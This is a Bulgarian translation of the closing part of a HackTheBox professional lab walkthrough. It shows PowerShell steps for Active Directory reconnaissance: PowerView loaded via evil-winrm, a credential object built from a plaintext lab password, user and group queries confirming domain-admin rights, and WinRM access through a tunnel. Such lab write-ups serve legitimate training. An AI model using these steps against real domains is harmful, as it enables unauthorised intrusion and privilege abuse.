И Ρ‚Π°ΠΊΠ°, ΠΈΠΌΠ°ΠΌΠ΅ Ρ‚Ρ€ΠΈΠΌΠ° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ, ΠΎΡ‚ΠΈΠ²Π°ΠΌΠ΅ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€Π°. НСка ΠΏΡŠΡ€Π²ΠΎ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ адрСса ΠΌΡƒ.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Ρ‚Ρ€Π°Ρ…ΠΎΡ‚Π½ΠΎ, Π½Π°ΡƒΡ‡ΠΈΡ…ΠΌΠ΅ IP адрСса Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€Π°. НСка Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ всички ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π°, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ ΠΊΠΎΠΉ ΠΎΡ‚ тях Π΅ администратор. Π—Π° Π΄Π° ΠΈΠ·Ρ‚Π΅Π³Π»ΠΈΡ‚Π΅ скрипта, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ информация PowerView.ps1. Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° Ρ‰Π΅ сС ΡΠ²ΡŠΡ€ΠΆΠ΅ΠΌ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° evil-winrm, ΠΊΠ°Ρ‚ΠΎ посочим дирСкторията със скрипта Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€Π° -s. И слСд Ρ‚ΠΎΠ²Π° просто Π·Π°Ρ€Π΅Π΄Π΅Ρ‚Π΅ скрипта Π½Π° PowerView.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π΅Π³Π° ΠΈΠΌΠ°ΠΌΠ΅ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ всички Π½Π΅Π³ΠΎΠ²ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ΠŸΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΡΡ‚ p00_adm ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π», Ρ‚Π°ΠΊΠ° Ρ‡Π΅ Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚ΠΈΠΌ Π² нСговия контСкст. НСка създадСм PSCredential ΠΎΠ±Π΅ΠΊΡ‚ Π·Π° Ρ‚ΠΎΠ·ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π».

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Π‘Π΅Π³Π° всички ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° Powershell, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ посочвамС Creds, Ρ‰Π΅ Π±ΡŠΠ΄Π°Ρ‚ изпълнСни ΠΎΡ‚ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° p00_adm. НСка ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ списък с ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

И Ρ‚Π°ΠΊΠ°, Π½Π°ΡˆΠΈΡΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π» Π΅ наистина ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½. Π”Π° Π²ΠΈΠ΄ΠΈΠΌ към ΠΊΠΎΠΈ Π³Ρ€ΡƒΠΏΠΈ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈ.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Най-накрая ΠΏΠΎΡ‚Π²ΡŠΡ€ΠΆΠ΄Π°Π²Π°ΠΌΠ΅, Ρ‡Π΅ потрСбитСлят Π΅ администратор Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½. Π’ΠΎΠ²Π° ΠΌΡƒ Π΄Π°Π²Π° ΠΏΡ€Π°Π²ΠΎΡ‚ΠΎ Π΄Π° Π²Π»Π΅Π·Π΅ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ Π² Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€Π°. НСка сС ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° Π²Π»Π΅Π·Π΅ΠΌ с WinRM, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ нашия Ρ‚ΡƒΠ½Π΅Π». Бях ΠΎΠ±ΡŠΡ€ΠΊΠ°Π½ ΠΎΡ‚ Π³Ρ€Π΅ΡˆΠΊΠΈΡ‚Π΅, ΠΈΠ·Π΄Π°Π²Π°Π½ΠΈ ΠΎΡ‚ reGeorg ΠΏΡ€ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° evil-winrm.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ Π΄Ρ€ΡƒΠ³, ΠΏΠΎ-лСсСн, писмСност Π·Π° Π΄Π° сС ΡΠ²ΡŠΡ€ΠΆΠ΅Ρ‚Π΅ с WinRM. ΠžΡ‚Π²ΠΎΡ€Π΅Ρ‚Π΅ ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½Π΅Ρ‚Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈΡ‚Π΅ Π½Π° Π²Ρ€ΡŠΠ·ΠΊΠ°Ρ‚Π°.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

ΠžΠΏΠΈΡ‚Π²Π°ΠΌΠ΅ сС Π΄Π° сС ΡΠ²ΡŠΡ€ΠΆΠ΅ΠΌ ΠΈ смС Π² систСмата.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Но Π·Π½Π°ΠΌΠ΅ няма. Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° ΠΏΠΎΠ³Π»Π΅Π΄Π½Π΅Ρ‚Π΅ потрСбитСля ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Ρ‚Π΅ настолнитС ΠΊΠΎΠΌΠΏΡŽΡ‚Ρ€ΠΈ.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π’ mr3ks Π½Π°ΠΌΠΈΡ€Π°ΠΌΠ΅ Ρ„Π»Π°Π³Π° ΠΈ лабораторията Π΅ Π·Π°Π²ΡŠΡ€ΡˆΠ΅Π½Π° Π½Π° 100%.

HackTheBoxendgame. ΠŸΡ€Π΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ Π½Π° лабораторията ΠŸΡ€ΠΎΡ„Π΅ΡΠΈΠΎΠ½Π°Π»Π½ΠΈ Π½Π°ΡΡ‚ΡŠΠΏΠ°Ρ‚Π΅Π»Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Pentest Active Directory

Π’ΠΎΠ²Π° Π΅ всичко. ΠšΠ°Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½Π° Π²Ρ€ΡŠΠ·ΠΊΠ° ΠΊΠΎΠΌΠ΅Π½Ρ‚ΠΈΡ€Π°ΠΉΡ‚Π΅ Π΄Π°Π»ΠΈ стС Π½Π°ΡƒΡ‡ΠΈΠ»ΠΈ Π½Π΅Ρ‰ΠΎ Π½ΠΎΠ²ΠΎ ΠΎΡ‚ Ρ‚Π°Π·ΠΈ статия ΠΈ Π΄Π°Π»ΠΈ Π²ΠΈ Π΅ Π±ΠΈΠ»Π° ΠΏΠΎΠ»Π΅Π·Π½Π°.

ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° сС ΠΏΡ€ΠΈΡΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅ към нас Π½Π° Telegram. Π’Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π½Π°ΠΌΠ΅Ρ€ΠΈΡ‚Π΅ интСрСсни ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΈ, ΠΎΠ±Π΅Π΄ΠΈΠ½Π΅Π½ΠΈ курсовС, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ софтуСр. НСка ΡΡŠΠ±Π΅Ρ€Π΅ΠΌ общност, Π² която Ρ‰Π΅ ΠΈΠΌΠ° Ρ…ΠΎΡ€Π°, ΠΊΠΎΠΈΡ‚ΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ области Π½Π° ИВ, Ρ‚ΠΎΠ³Π°Π²Π° Π²ΠΈΠ½Π°Π³ΠΈ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° си ΠΏΠΎΠΌΠΎΠ³Π½Π΅ΠΌ ΠΏΠΎ всякакви Π²ΡŠΠΏΡ€ΠΎΡΠΈ, ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ с ИВ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° сигурност.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€